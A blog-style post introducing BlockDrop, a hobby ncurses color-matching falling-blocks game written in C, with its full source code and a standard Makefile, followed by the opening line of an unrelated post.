BlockDrop

So... this is (almost) totally not a Tetris clone...

It's not, though... even if it kinda looks like one!

I've been dabbling with this for a few days now. It's written in C, and it does somewhat resemble Tetris, but I was really careful here, because of the legal aspects. So, while it is a falling-blocks game, where the player has to match pieces a certain way, the mechanics of the game are a bit different from Tetris.

The special, or unique spin or quirk of this game is that, instead of having to clear entire lines, the player must match colors between adjacent blocks to clear them from the board. This creates a dynamic gameplay experience with sometimes unexpected chain reactions.

When a piece lands, the game checks that piece against its neighbors, horizontally and vertically (no corners). If a color match occurs between two different pieces, then a flood-fill algorithm finds all connected matching blocks and clears them. After clearing, columns are re-scanned, and floating blocks fall down to empty spaces, potentially triggering another chain reaction.

The game uses a 12x18 grid for block placement, with piecess made of 2, 3, 4, and 5 blocks, in linear, square, L-shape, and T-shape forms. 25 points are awarded for each individual block that is cleared, with speed increasing by 30% for every 500 points scored. The game ends when the pieces are stacked up to the edge of the 12x18 grid, and new pieces cannot spawn.

It works in Linux, on both TTY and windowed terminals (because of course it does...).
Start Screen:



Gameplay:



Pause Screen:



End Screen:



Code:


Project page on GitHub

blockdrop.c
/*
 * BlockDrop - A color-matching falling blocks puzzle game
 *
 * by Jonathan Torres
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the 
 * GNU General Public License as published by the Free Software Foundation, either version 3 of 
 * the License, or (at your option) any later version.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <ncurses.h>
#include <signal.h>
#include <sys/stat.h>

#define GRID_W 12
#define GRID_H 18
#define NUM_COLORS 5

//from here on out, leaving out some troublesome colors -- using unique names to avoid conflict

/* color IDs */
#define NTC_RED       1
#define NTC_YELLOW    3
#define NTC_LBLUE     4
#define NTC_PINK      5
#define NTC_WHITE     7

/* piece IDs */
#define PIECE_LINEAR_2  1
#define PIECE_LINEAR_3  2
#define PIECE_SQUARE    3
#define PIECE_LSHAPE    4
#define PIECE_TSHAPE    5

/* game states */
#define STATE_MENU      0
#define STATE_PLAYING   1
#define STATE_PAUSED    2
#define STATE_EXIT_WARN 3

/* flood fill */
#define DIR_UP          0
#define DIR_RIGHT       1
#define DIR_DOWN        2
#define DIR_LEFT        3

/* block structure */
typedef struct {
    int color;      
    int piece_id;   /* 0 = emptee */
} Block;

/* active piece structure */
typedef struct {
    int x, y;           
    int type;
    int color; 
    int blocks[5][2]; 
    int num_blocks;
    int rotation;
    int piece_id;
} ActivePiece;

/* game state */
typedef struct {
    Block grid[GRID_H][GRID_W];
    ActivePiece current;
    int score;
    int high_score;
    int state;
    int fall_delay_ms;
    int next_piece_type;
    int next_piece_color;
    int exit_warning_shown;
    int next_piece_id;
} GameState;

/* color names for display */
const char* color_names[NUM_COLORS + 1] = {
    "",
    "Red",
/*    "Orange",*/
    "Yellow",
/*    "Green",*/
    "Blue",
    "Pink",
    "White"
};

/* ncurses color pairs (offset by 1) */
const int color_pairs[NUM_COLORS + 1] = {
    0,
    1,  /* Red */
/*    2,*/  /* Orange */
    3,  /* Yellow */
/*    4,*/  /* Green */
    5,  /* Light Blue */
    6,  /* Pink */
    7   /* White */
};

GameState game;
int running = 1;
const char* score_file = ".blockdrop_highscore";
char* score_path = NULL;

/* Function prototypes */
/* pero pero pero */
void init_game(void);
void cleanup(void);
void init_colors(void);
void draw_border(int start_y, int start_x);
void draw_grid(void);
void draw_ui(void);
void draw_piece(ActivePiece* p, int ghost);
void draw_menu(void);
void draw_pause(void);
void draw_exit_warning(void);
void generate_piece(void);
void rotate_piece_clockwise(void);
int can_move(int dx, int dy);
void move_piece(int dx, int dy);
void lock_piece(void);
void clear_matched_blocks(void);
void apply_gravity(void);
void check_matches_after_gravity(void);
void flood_fill(int r, int c, int color, int piece_id, int** visited, int** to_clear, int* count);
void blink_and_clear(int** to_clear, int count);
void lock_piece(void);
void update_fall_speed(void);
void load_high_score(void);
void save_high_score(void);
void handle_input(void);
void game_loop(void);
void get_piece_shape(int type, int rotation, int blocks[][2], int* num_blocks);
int get_piece_size(int type);
void get_screen_center(int* start_y, int* start_x);


void init_colors(void) {
    start_color();
    use_default_colors();

    /* Initialize color pairs */
    init_pair(1, COLOR_RED, -1);
/* orange was really yellow and i got a bunch of stacked yellow blocks that werent' clearing.  so it's goan! */
    init_pair(3, COLOR_YELLOW, -1);
/* green was really kinda blue and giving me the same problem as orange, so its gooooaaaannn! */
    init_pair(5, COLOR_CYAN, -1);
    init_pair(6, COLOR_MAGENTA, -1);
    init_pair(7, COLOR_WHITE, -1);

    /* bold versions for active pieces */
    init_pair(8, COLOR_RED, -1);
/* here lies norange */
    init_pair(10, COLOR_YELLOW, -1);
/* may green rest in pieces */
    init_pair(12, COLOR_CYAN, -1);
    init_pair(13, COLOR_MAGENTA, -1);
    init_pair(14, COLOR_WHITE, -1);
}

/* get screen center to position the grid */
void get_screen_center(int* start_y, int* start_x) {
    int rows, cols;
    getmaxyx(stdscr, rows, cols);
    *start_y = (rows - GRID_H) / 2;
    *start_x = (cols - GRID_W * 2) / 2;
}

/* draw dem borderses preciouss */
void draw_border(int start_y, int start_x) {
    int i;

    /* topses */
    mvaddch(start_y - 1, start_x - 1, ACS_ULCORNER);
    for (i = 0; i < GRID_W * 2; i++) {
        mvaddch(start_y - 1, start_x + i, ACS_HLINE);
    }
    mvaddch(start_y - 1, start_x + GRID_W * 2, ACS_URCORNER);

    /* sideses */
    for (i = 0; i < GRID_H; i++) {
        mvaddch(start_y + i, start_x - 1, ACS_VLINE);
        mvaddch(start_y + i, start_x + GRID_W * 2, ACS_VLINE);
    }

    /* bottomses yes yes precious! */
    mvaddch(start_y + GRID_H, start_x - 1, ACS_LLCORNER);
    for (i = 0; i < GRID_W * 2; i++) {
        mvaddch(start_y + GRID_H, start_x + i, ACS_HLINE);
    }
    mvaddch(start_y + GRID_H, start_x + GRID_W * 2, ACS_LRCORNER);
}

/* draw the grid */
void draw_grid(void) {
    int r, c;
    int start_y, start_x;
    get_screen_center(&start_y, &start_x);

    erase();  /* using erase cuz clear was causing tty to flicker */
    draw_border(start_y, start_x);

    for (r = 0; r < GRID_H; r++) {
        for (c = 0; c < GRID_W; c++) {
            int color = game.grid[r][c].color;
            if (color > 0) {
                attron(COLOR_PAIR(color_pairs[color]));
                mvaddstr(start_y + r, start_x + c * 2, "[]");
                attroff(COLOR_PAIR(color_pairs[color]));
            } else {
                mvaddstr(start_y + r, start_x + c * 2, "  ");
            }
        }
    }

    /* draw current piece */
    draw_piece(&game.current, 0);

    draw_ui();
}

/* draw the UI  */
void draw_ui(void) {
    int start_y, start_x;
    get_screen_center(&start_y, &start_x);

    int ui_x = start_x + GRID_W * 2 + 4;
    int ui_y = start_y;

    mvprintw(ui_y, ui_x, "BlockDrop");
    mvprintw(ui_y + 1, ui_x, "Falling Blocks Game");
    mvprintw(ui_y + 3, ui_x, "Score: %d", game.score);
    mvprintw(ui_y + 4, ui_x, "High:  %d", game.high_score);


    float speed = 1000.0 / game.fall_delay_ms;
    mvprintw(ui_y + 6, ui_x, "Speed: %.1fx", speed);

    mvprintw(ui_y + 8, ui_x, "Next:");

    int px = ui_x;
    int py = ui_y + 10;

    mvprintw(py, px, "Piece: %d", game.next_piece_type);
}

/* draw the active piece */
void draw_piece(ActivePiece* p, int ghost) {
    int i;
    int start_y, start_x;
    get_screen_center(&start_y, &start_x);

    if (ghost) {

        return;
    }

    for (i = 0; i < p->num_blocks; i++) {
        int r = p->y + p->blocks[i][1];
        int c = p->x + p->blocks[i][0];
        if (r >= 0 && r < GRID_H && c >= 0 && c < GRID_W) {
            attron(COLOR_PAIR(color_pairs[p->color]) | A_BOLD);
            mvaddstr(start_y + r, start_x + c * 2, "[]");
            attroff(COLOR_PAIR(color_pairs[p->color]) | A_BOLD);
        }
    }
}

/* menu screen */
void draw_menu(void) {
    int rows, cols;
    getmaxyx(stdscr, rows, cols);

    erase();

    mvprintw(rows / 2 - 4, (cols - 20) / 2, "BlockDrop");
    mvprintw(rows / 2 - 3, (cols - 20) / 2, "Falling Blocks Game");
    mvprintw(rows / 2 - 1, (cols - 20) / 2, "High Score: %d", game.high_score);
    mvprintw(rows / 2 + 1, (cols - 20) / 2, "Press ENTER to start");
    mvprintw(rows / 2 + 3, (cols - 20) / 2, "Controls:");
    mvprintw(rows / 2 + 4, (cols - 20) / 2, "Arrows: Move");
    mvprintw(rows / 2 + 5, (cols - 20) / 2, "Space:  Rotate");
    mvprintw(rows / 2 + 6, (cols - 20) / 2, "Enter:  Pause");
    mvprintw(rows / 2 + 7, (cols - 20) / 2, "Esc:    Exit");
}

/* pause screen */
void draw_pause(void) {
    int rows, cols;
    getmaxyx(stdscr, cols, rows);  
    getmaxyx(stdscr, rows, cols);

    attron(A_BOLD);
    mvprintw(rows / 2, (cols - 10) / 2, "P A U S E D");
    attroff(A_BOLD);
    mvprintw(rows / 2 + 2, (cols - 24) / 2, "Press ENTER to resume");
    mvprintw(rows / 2 + 3, (cols - 24) / 2, "Press ESC twice to exit");
}

/* exit warning */
void draw_exit_warning(void) {
    int rows, cols;
    getmaxyx(stdscr, rows, cols);

    attron(A_BOLD | COLOR_PAIR(1));
    mvprintw(rows / 2, (cols - 24) / 2, "Press ESC again to exit");
    attroff(A_BOLD | COLOR_PAIR(1));
}

/* piece size */
int get_piece_size(int type) {
    switch (type) {
        case PIECE_LINEAR_2: return 2;
        case PIECE_LINEAR_3: return 3;
        case PIECE_SQUARE:   return 4;
        case PIECE_LSHAPE:   return 4;
        case PIECE_TSHAPE:   return 5;
        default: return 2;
    }
}

/* get piece shape */
void get_piece_shape(int type, int rotation, int blocks[][2], int* num_blocks) {
    int i;

    /* all to 0 */
    for (i = 0; i < 5; i++) {
        blocks[i][0] = 0;
        blocks[i][1] = 0;
    }

    switch (type) {
        case PIECE_LINEAR_2:

            *num_blocks = 2;
            blocks[0][0] = 0; blocks[0][1] = 0;
            if (rotation % 2 == 0) {

                blocks[1][0] = 1; blocks[1][1] = 0;
            } else {

                blocks[1][0] = 0; blocks[1][1] = 1;
            }
            break;

        case PIECE_LINEAR_3:

            *num_blocks = 3;
            blocks[0][0] = 0; blocks[0][1] = 0;
            if (rotation % 2 == 0) {

                blocks[1][0] = 1; blocks[1][1] = 0;
                blocks[2][0] = 2; blocks[2][1] = 0;
            } else {

                blocks[1][0] = 0; blocks[1][1] = 1;
                blocks[2][0] = 0; blocks[2][1] = 2;
            }
            break;

        case PIECE_SQUARE:
/* square pieces don't rotate */
            *num_blocks = 4;
            blocks[0][0] = 0; blocks[0][1] = 0;
            blocks[1][0] = 1; blocks[1][1] = 0;
            blocks[2][0] = 0; blocks[2][1] = 1;
            blocks[3][0] = 1; blocks[3][1] = 1;
            break;

        case PIECE_LSHAPE:

            *num_blocks = 4;
            switch (rotation % 4) {
                case 0:

                    blocks[0][0] = 0; blocks[0][1] = 0;
                    blocks[1][0] = 0; blocks[1][1] = 1;
                    blocks[2][0] = 0; blocks[2][1] = 2;
                    blocks[3][0] = 1; blocks[3][1] = 2;
                    break;
                case 1:

                    blocks[0][0] = 0; blocks[0][1] = 0;
                    blocks[1][0] = 1; blocks[1][1] = 0;
                    blocks[2][0] = 2; blocks[2][1] = 0;
                    blocks[3][0] = 0; blocks[3][1] = 1;
                    break;
                case 2:

                    blocks[0][0] = 0; blocks[0][1] = 0;
                    blocks[1][0] = 1; blocks[1][1] = 0;
                    blocks[2][0] = 1; blocks[2][1] = 1;
                    blocks[3][0] = 1; blocks[3][1] = 2;
                    break;
                case 3:

                    blocks[0][0] = 2; blocks[0][1] = 0;
                    blocks[1][0] = 0; blocks[1][1] = 1;
                    blocks[2][0] = 1; blocks[2][1] = 1;
                    blocks[3][0] = 2; blocks[3][1] = 1;
                    break;
            }
            break;

        case PIECE_TSHAPE:

            *num_blocks = 5;
            switch (rotation % 4) {
                case 0:

                    blocks[0][0] = 1; blocks[0][1] = 0;
                    blocks[1][0] = 0; blocks[1][1] = 1;
                    blocks[2][0] = 1; blocks[2][1] = 1;
                    blocks[3][0] = 2; blocks[3][1] = 1;
                    blocks[4][0] = 1; blocks[4][1] = 2;
                    break;
                case 1:

                    blocks[0][0] = 0; blocks[0][1] = 1;
                    blocks[1][0] = 1; blocks[1][1] = 0;
                    blocks[2][0] = 1; blocks[2][1] = 1;
                    blocks[3][0] = 1; blocks[3][1] = 2;
                    blocks[4][0] = 2; blocks[4][1] = 1;
                    break;
                case 2:

                    blocks[0][0] = 0; blocks[0][1] = 0;
                    blocks[1][0] = 1; blocks[1][1] = 0;
                    blocks[2][0] = 2; blocks[2][1] = 0;
                    blocks[3][0] = 1; blocks[3][1] = 1;
                    blocks[4][0] = 1; blocks[4][1] = 2;
                    break;
                case 3:

                    blocks[0][0] = 0; blocks[0][1] = 1;
                    blocks[1][0] = 1; blocks[1][1] = 0;
                    blocks[2][0] = 1; blocks[2][1] = 1;
                    blocks[3][0] = 1; blocks[3][1] = 2;
                    blocks[4][0] = 2; blocks[4][1] = 1;

                    blocks[0][0] = 2; blocks[0][1] = 0;
                    blocks[1][0] = 2; blocks[1][1] = 1;
                    blocks[2][0] = 2; blocks[2][1] = 2;
                    blocks[3][0] = 1; blocks[3][1] = 1;
                    blocks[4][0] = 0; blocks[4][1] = 1;
                    break;
            }
            break;

        default:
            *num_blocks = 2;
            blocks[0][0] = 0; blocks[0][1] = 0;
            blocks[1][0] = 1; blocks[1][1] = 0;
    }
}

/* new piece */
void generate_piece(void) {

    if (game.next_piece_type == 0) {

        game.next_piece_type = 1 + (rand() % 5);
        game.next_piece_color = 1 + (rand() % NUM_COLORS);
    }

    game.current.type = game.next_piece_type;
    game.current.color = game.next_piece_color;
    game.current.rotation = 0;
    game.current.piece_id = game.next_piece_id++;


    game.next_piece_type = 1 + (rand() % 5);
    game.next_piece_color = 1 + (rand() % NUM_COLORS);


    get_piece_shape(game.current.type, game.current.rotation,
                    game.current.blocks, &game.current.num_blocks);


    game.current.x = GRID_W / 2 - 1;
    game.current.y = 0;


    if (!can_move(0, 0)) {

        game.state = STATE_MENU;
        if (game.score > game.high_score) {
            game.high_score = game.score;
            save_high_score();
        }
        memset(game.grid, 0, sizeof(game.grid));
        game.score = 0;
        game.fall_delay_ms = 1000;
        game.next_piece_id = 1;
    }
}

/* rot clockwise */
void rotate_piece_clockwise(void) {
    int old_rotation = game.current.rotation;
    int old_blocks[5][2];
    int i;


    memcpy(old_blocks, game.current.blocks, sizeof(old_blocks));


    game.current.rotation = (game.current.rotation + 1) % 4;
    get_piece_shape(game.current.type, game.current.rotation,
                    game.current.blocks, &game.current.num_blocks);


    if (!can_move(0, 0)) {

        int kicks[] = {-1, 1, -2, 2};
        int kick_success = 0;

        for (i = 0; i < 4; i++) {
            game.current.x += kicks[i];
            if (can_move(0, 0)) {
                kick_success = 1;
                break;
            }
            game.current.x -= kicks[i];
        }

        if (!kick_success) {

            game.current.rotation = old_rotation;
            memcpy(game.current.blocks, old_blocks, sizeof(old_blocks));
        }
    }
}

/* check if can move */
int can_move(int dx, int dy) {
    int i;
    int new_x = game.current.x + dx;
    int new_y = game.current.y + dy;

    for (i = 0; i < game.current.num_blocks; i++) {
        int c = new_x + game.current.blocks[i][0];
        int r = new_y + game.current.blocks[i][1];


        if (c < 0 || c >= GRID_W || r >= GRID_H) {
            return 0;
        }

        /* check collision with blocks */
        if (r >= 0 && game.grid[r][c].color != 0) {
            return 0;
        }
    }

    return 1;
}


void move_piece(int dx, int dy) {
    if (can_move(dx, dy)) {
        game.current.x += dx;
        game.current.y += dy;
    }
}


void lock_piece(void) {
    int i;

    for (i = 0; i < game.current.num_blocks; i++) {
        int c = game.current.x + game.current.blocks[i][0];
        int r = game.current.y + game.current.blocks[i][1];

        if (r >= 0 && r < GRID_H && c >= 0 && c < GRID_W) {
            game.grid[r][c].color = game.current.color;
            game.grid[r][c].piece_id = game.current.piece_id;
        }
    }
}


void flood_fill(int r, int c, int color, int piece_id, int** visited, int** to_clear, int* count) {
    int dr[] = {-1, 0, 1, 0};  /* ain't matching corners */
    int dc[] = {0, 1, 0, -1};
    int i;


    if (r < 0 || r >= GRID_H || c < 0 || c >= GRID_W) {
        return;
    }


    if (visited[r][c]) {
        return;
    }


    if (game.grid[r][c].color == color && game.grid[r][c].piece_id != piece_id) {
        visited[r][c] = 1;
        to_clear[*count][0] = r;
        to_clear[*count][1] = c;
        (*count)++;


        for (i = 0; i < 4; i++) {
            flood_fill(r + dr[i], c + dc[i], color, piece_id, visited, to_clear, count);
        }
    }
}


void blink_and_clear(int** to_clear, int count) {
    int i, b;
    int start_y, start_x;
    get_screen_center(&start_y, &start_x);

    /* blink 3 times */
    for (b = 0; b < 3; b++) {

        for (i = 0; i < count; i++) {
            int r = to_clear[i][0];
            int c = to_clear[i][1];
            mvaddstr(start_y + r, start_x + c * 2, "  ");
        }
        refresh();
        usleep(250000);


        attron(A_BOLD);
        for (i = 0; i < count; i++) {
            int r = to_clear[i][0];
            int c = to_clear[i][1];
            int color = game.grid[r][c].color;
            attron(COLOR_PAIR(color_pairs[color]));
            mvaddstr(start_y + r, start_x + c * 2, "XX");
            attroff(COLOR_PAIR(color_pairs[color]));
        }
        attroff(A_BOLD);
        refresh();
        usleep(250000);
    }

    /* clear blocks */
    for (i = 0; i < count; i++) {
        int r = to_clear[i][0];
        int c = to_clear[i][1];
        game.grid[r][c].color = 0;
        game.grid[r][c].piece_id = 0;
        game.score += 25;
    }
}

/* check and clear all matched blocks */
void clear_matched_blocks(void) {
    int** visited;
    int** to_clear;
    int count;
    int i;
    int cleared_anything = 0;
    int has_match = 0;
    int dr[] = {-1, 0, 1, 0};
    int dc[] = {0, 1, 0, -1};
    int d;

    /* allocate 2D arrays */
    visited = malloc(GRID_H * sizeof(int*));
    to_clear = malloc(GRID_H * GRID_W * sizeof(int*));
    for (i = 0; i < GRID_H; i++) {
        visited[i] = calloc(GRID_W, sizeof(int));
    }
    for (i = 0; i < GRID_H * GRID_W; i++) {
        to_clear[i] = malloc(2 * sizeof(int));
    }


    count = 0;
    has_match = 0;


    for (i = 0; i < game.current.num_blocks; i++) {
        int pc = game.current.x + game.current.blocks[i][0];
        int pr = game.current.y + game.current.blocks[i][1];

        if (pr < 0 || pr >= GRID_H || pc < 0 || pc >= GRID_W) {
            continue;
        }

        int color = game.current.color;
        int piece_id = game.current.piece_id;


        visited[pr][pc] = 1;

        /* start flood fill from adjacent blocks */
        for (d = 0; d < 4; d++) {
            int nr = pr + dr[d];
            int nc = pc + dc[d];
            if (nr >= 0 && nr < GRID_H && nc >= 0 && nc < GRID_W) {
                if (game.grid[nr][nc].color == color &&
                    game.grid[nr][nc].piece_id != piece_id &&
                    !visited[nr][nc]) {
                    flood_fill(nr, nc, color, piece_id, visited, to_clear, &count);
                    has_match = 1;
                }
            }
        }
    }

    /* now add all blocks from the current piece that have matches */
    if (has_match) {
        for (i = 0; i < game.current.num_blocks; i++) {
            int pc = game.current.x + game.current.blocks[i][0];
            int pr = game.current.y + game.current.blocks[i][1];

            if (pr >= 0 && pr < GRID_H && pc >= 0 && pc < GRID_W) {

                for (d = 0; d < 4; d++) {
                    int nr = pr + dr[d];
                    int nc = pc + dc[d];
                    if (nr >= 0 && nr < GRID_H && nc >= 0 && nc < GRID_W) {
                        if (visited[nr][nc] &&
                            game.grid[nr][nc].color == game.current.color &&
                            game.grid[nr][nc].piece_id != game.current.piece_id) {

                            to_clear[count][0] = pr;
                            to_clear[count][1] = pc;
                            count++;
                            break;  
                        }
                    }
                }
            }
        }
    }

    /* clear everything if matches */
    if (count > 0) {
        blink_and_clear(to_clear, count);
        cleared_anything = 1;
    }

    /* free memory */
    for (i = 0; i < GRID_H; i++) {
        free(visited[i]);
    }
    free(visited);
    for (i = 0; i < GRID_H * GRID_W; i++) {
        free(to_clear[i]);
    }
    free(to_clear);

    /* apply gravity */
    if (cleared_anything) {
        apply_gravity();
    }
}

/* apply individual block gravity after clearing */
void apply_gravity(void) {
    int c, r;
    int moved;
    int chain = 1;

    do {
        moved = 0;


        for (c = 0; c < GRID_W; c++) {
            for (r = GRID_H - 1; r > 0; r--) {
                if (game.grid[r][c].color == 0) {

                    int above_r;
                    for (above_r = r - 1; above_r >= 0; above_r--) {
                        if (game.grid[above_r][c].color != 0) {
                            break;
                        }
                    }

                    if (above_r >= 0) {

                        game.grid[r][c] = game.grid[above_r][c];
                        game.grid[above_r][c].color = 0;
                        game.grid[above_r][c].piece_id = 0;
                        moved = 1;
                    }
                }
            }
        }

        /* redraw and pause */
        if (moved) {
            draw_grid();
            refresh();
            usleep(100000);  


            check_matches_after_gravity();
        }

        chain++;
    } while (moved && chain < 10);  
}

/* check for matches after gravity */
void check_matches_after_gravity(void) {
    int r, c;
    int** visited;
    int** to_clear;
    int count;
    int i, d;
    int cleared_anything = 0;
    int dr[] = {-1, 0, 1, 0};
    int dc[] = {0, 1, 0, -1};

    visited = malloc(GRID_H * sizeof(int*));
    to_clear = malloc(GRID_H * GRID_W * sizeof(int*));
    for (i = 0; i < GRID_H; i++) {
        visited[i] = calloc(GRID_W, sizeof(int));
    }
    for (i = 0; i < GRID_H * GRID_W; i++) {
        to_clear[i] = malloc(2 * sizeof(int));
    }

    count = 0;
    for (i = 0; i < GRID_H; i++) {
        memset(visited[i], 0, GRID_W * sizeof(int));
    }


    for (r = 0; r < GRID_H; r++) {
        for (c = 0; c < GRID_W; c++) {
            if (game.grid[r][c].color == 0) continue;
            if (visited[r][c]) continue;  

            int color = game.grid[r][c].color;
            int piece_id = game.grid[r][c].piece_id;
            int has_neighbor_match = 0;

            /* check adjacent for matching color, different piece_id */
            for (d = 0; d < 4; d++) {
                int nr = r + dr[d];
                int nc = c + dc[d];
                if (nr >= 0 && nr < GRID_H && nc >= 0 && nc < GRID_W) {
                    if (game.grid[nr][nc].color == color &&
                        game.grid[nr][nc].piece_id != piece_id) {
                        has_neighbor_match = 1;
                        flood_fill(nr, nc, color, piece_id, visited, to_clear, &count);
                    }
                }
            }


            if (has_neighbor_match) {
                to_clear[count][0] = r;
                to_clear[count][1] = c;
                count++;
            }
        }
    }


    if (count > 0) {
        blink_and_clear(to_clear, count);
        cleared_anything = 1;
    }


    for (i = 0; i < GRID_H; i++) {
        free(visited[i]);
    }
    free(visited);
    for (i = 0; i < GRID_H * GRID_W; i++) {
        free(to_clear[i]);
    }
    free(to_clear);


    if (cleared_anything) {
        apply_gravity();
    }
}

/* update fall speed based on score */
void update_fall_speed(void) {
    int milestones = game.score / 500;
    float speed_multiplier = 1.0;
    int i;

    for (i = 0; i < milestones; i++) {
        speed_multiplier *= 1.3;
    }

    game.fall_delay_ms = (int)(1000.0 / speed_multiplier);
    if (game.fall_delay_ms < 100) {
        game.fall_delay_ms = 100;  /* oguri cap at 100ms */
    }
}

/* load high score from file */
void load_high_score(void) {
    FILE* f;
    const char* home = getenv("HOME");

    if (home) {
        size_t len = strlen(home) + strlen(score_file) + 2;
        score_path = malloc(len);
        snprintf(score_path, len, "%s/%s", home, score_file);
    } else {
        score_path = strdup(score_file);
    }

    f = fopen(score_path, "r");
    if (f) {
        if (fscanf(f, "%d", &game.high_score) != 1) {
            game.high_score = 0;
        }
        fclose(f);
    } else {
        game.high_score = 0;
    }
}

/* Ssve high score to file */
void save_high_score(void) {
    FILE* f = fopen(score_path, "w");
    if (f) {
        fprintf(f, "%d\n", game.high_score);
        fclose(f);
        chmod(score_path, 0600);
    }
}

/* handle user input */
void handle_input(void) {
    int ch = getch();

    if (ch == ERR) {
        return;  
    }

    switch (game.state) {
        case STATE_MENU:
            if (ch == '\n' || ch == '\r' || ch == KEY_ENTER) {
                game.state = STATE_PLAYING;
                game.score = 0;
                game.fall_delay_ms = 1000;
                game.next_piece_id = 1;
                memset(game.grid, 0, sizeof(game.grid));
                game.next_piece_type = 0;
                generate_piece();
            } else if (ch == 27) {  /* ESC */
                game.exit_warning_shown = 1;
                game.state = STATE_EXIT_WARN;
            }
            break;

        case STATE_PLAYING:
            switch (ch) {
                case KEY_LEFT:
                    move_piece(-1, 0);
                    break;
                case KEY_RIGHT:
                    move_piece(1, 0);
                    break;
                case KEY_DOWN:
                    move_piece(0, 1);
                    break;
                case KEY_UP:
                    /* no going up */
                    break;
                case ' ':
                    rotate_piece_clockwise();
                    break;
                case '\n':
                case '\r':
                case KEY_ENTER:
                    game.state = STATE_PAUSED;
                    break;
                case 27:  /* 1st esc warning*/
                    game.exit_warning_shown = 1;
                    game.state = STATE_EXIT_WARN;
                    break;
            }
            break;

        case STATE_PAUSED:
            if (ch == '\n' || ch == '\r' || ch == KEY_ENTER) {
                game.state = STATE_PLAYING;
            } else if (ch == 27) { 
                game.exit_warning_shown = 1;
                game.state = STATE_EXIT_WARN;
            }
            break;

        case STATE_EXIT_WARN:
            if (ch == 27) {  /* 2nd esc exit */
                running = 0;
                if (game.score > game.high_score) {
                    game.high_score = game.score;
                    save_high_score();
                }
            } else {
                /* cancel exit warning, return */
                if (game.exit_warning_shown) {
                    game.exit_warning_shown = 0;
                    game.state = STATE_PAUSED;  /* default to pause */
                }
            }
            break;
    }
}

/* main game loop */
void game_loop(void) {
    struct timespec last_fall, now;
    long elapsed_ms;

    clock_gettime(CLOCK_MONOTONIC, &last_fall);

    while (running) {

        handle_input();


        switch (game.state) {
            case STATE_MENU:
                draw_menu();
                break;
            case STATE_PLAYING:
                draw_grid();

                /* check if time to fall */
                clock_gettime(CLOCK_MONOTONIC, &now);
                elapsed_ms = (now.tv_sec - last_fall.tv_sec) * 1000 +
                            (now.tv_nsec - last_fall.tv_nsec) / 1000000;

                if (elapsed_ms >= game.fall_delay_ms) {
                    if (can_move(0, 1)) {
                        move_piece(0, 1);
                    } else {
                        /* eagle has landed */
                        lock_piece();
                        clear_matched_blocks();
                        update_fall_speed();
                        generate_piece();
                    }
                    last_fall = now;
                }
                break;

            case STATE_PAUSED:
                draw_grid();
                draw_pause();
                break;

            case STATE_EXIT_WARN:
                draw_grid();
                draw_exit_warning();
                break;
        }

        refresh();
        usleep(16666);  /* ~60 FPS */
    }
}

/* initialize game */
void init_game(void) {

    initscr();
    cbreak();
    noecho();
    curs_set(0);
    keypad(stdscr, TRUE);
    nodelay(stdscr, TRUE);  
    /* TTY optimizations to reduce flicker */
    leaveok(stdscr, TRUE);   /* don't restore cursor position - reduces flicker */
    idlok(stdscr, TRUE);     /* enable line insertion/deletion optimization */


    init_colors();


    memset(&game, 0, sizeof(game));
    game.state = STATE_MENU;
    game.fall_delay_ms = 1000;
    game.next_piece_id = 1;


    load_high_score();


    srand(time(NULL));
}


void cleanup(void) {
    endwin();
    if (score_path) {
        free(score_path);
    }
}


void signal_handler(int sig) {
    (void)sig;
    running = 0;
}

int main(int argc, char* argv[]) {
    (void)argc;
    (void)argv;


    signal(SIGINT, signal_handler);
    signal(SIGTERM, signal_handler);

    /* run forrest */
    init_game();
    game_loop();
    cleanup();

    return 0;
}



Makefile
# Makefile for BlockDrop
# A color-matching falling blocks puzzle game

# Compiler settings
CC = gcc
CFLAGS = -Wall -Wextra -O2 -std=c99
LDFLAGS = -lncurses

# Installation directories
PREFIX = /usr/local
BINDIR = $(PREFIX)/bin
MANDIR = $(PREFIX)/share/man/man6

# Target binary
TARGET = blockdrop

# Source files
SRCS = blockdrop.c
OBJS = $(SRCS:.c=.o)

# Default target
all: $(TARGET)

# Build the game
$(TARGET): $(SRCS)
	$(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS)

# Build object files
%.o: %.c
	$(CC) $(CFLAGS) -c $< -o $@

# Install target
install: $(TARGET)
	@echo "Installing BlockDrop..."
	install -d $(DESTDIR)$(BINDIR)
	install -m 755 $(TARGET) $(DESTDIR)$(BINDIR)/$(TARGET)
	install -d $(DESTDIR)$(MANDIR)
	install -m 644 $(TARGET).6 $(DESTDIR)$(MANDIR)/$(TARGET).6
	@echo "Installation complete!"
	@echo "Run '$(TARGET)' to start the game."

# Uninstall target
uninstall:
	@echo "Uninstalling BlockDrop..."
	rm -f $(DESTDIR)$(BINDIR)/$(TARGET)
	rm -f $(DESTDIR)$(MANDIR)/$(TARGET).6
	@echo "Uninstallation complete!"

# Clean build files
clean:
	rm -f $(TARGET) $(OBJS)

# Clean and rebuild
rebuild: clean all

# Create distribution tarball
dist:
	tar -czf $(TARGET)-1.0.tar.gz $(SRCS) Makefile README.md $(TARGET).6

# Run the game (for development)
run: $(TARGET)
	./$(TARGET)

# Debug build
debug: CFLAGS = -Wall -Wextra -g -O0 -std=c99 -DDEBUG
debug: $(TARGET)

# Static analysis with cppcheck (if available)
check:
	@if command -v cppcheck >/dev/null 2>&1; then \
		cppcheck --enable=all --suppress=missingIncludeSystem .; \
	else \
		echo "cppcheck not found, skipping static analysis"; \
	fi

# Help target
help:
	@echo "BlockDrop - Makefile"
	@echo ""
	@echo "Available targets:"
	@echo "  all          - Build the game (default)"
	@echo "  install      - Install the game and man page"
	@echo "  uninstall    - Remove the game and man page"
	@echo "  clean        - Remove build files"
	@echo "  rebuild      - Clean and rebuild"
	@echo "  run          - Build and run the game"
	@echo "  debug        - Build with debug symbols"
	@echo "  dist         - Create distribution tarball"
	@echo "  check        - Run static analysis (requires cppcheck)"
	@echo "  help         - Show this help message"
	@echo ""
	@echo "Variables:"
	@echo "  PREFIX       - Installation prefix (default: /usr/local)"
	@echo "  CC           - C compiler (default: gcc)"
	@echo "  CFLAGS       - Compiler flags"

.PHONY: all install uninstall clean rebuild run debug dist check help

Unbin - Improved

When I first wrote Unbin (around 2007), the thing was a mess.

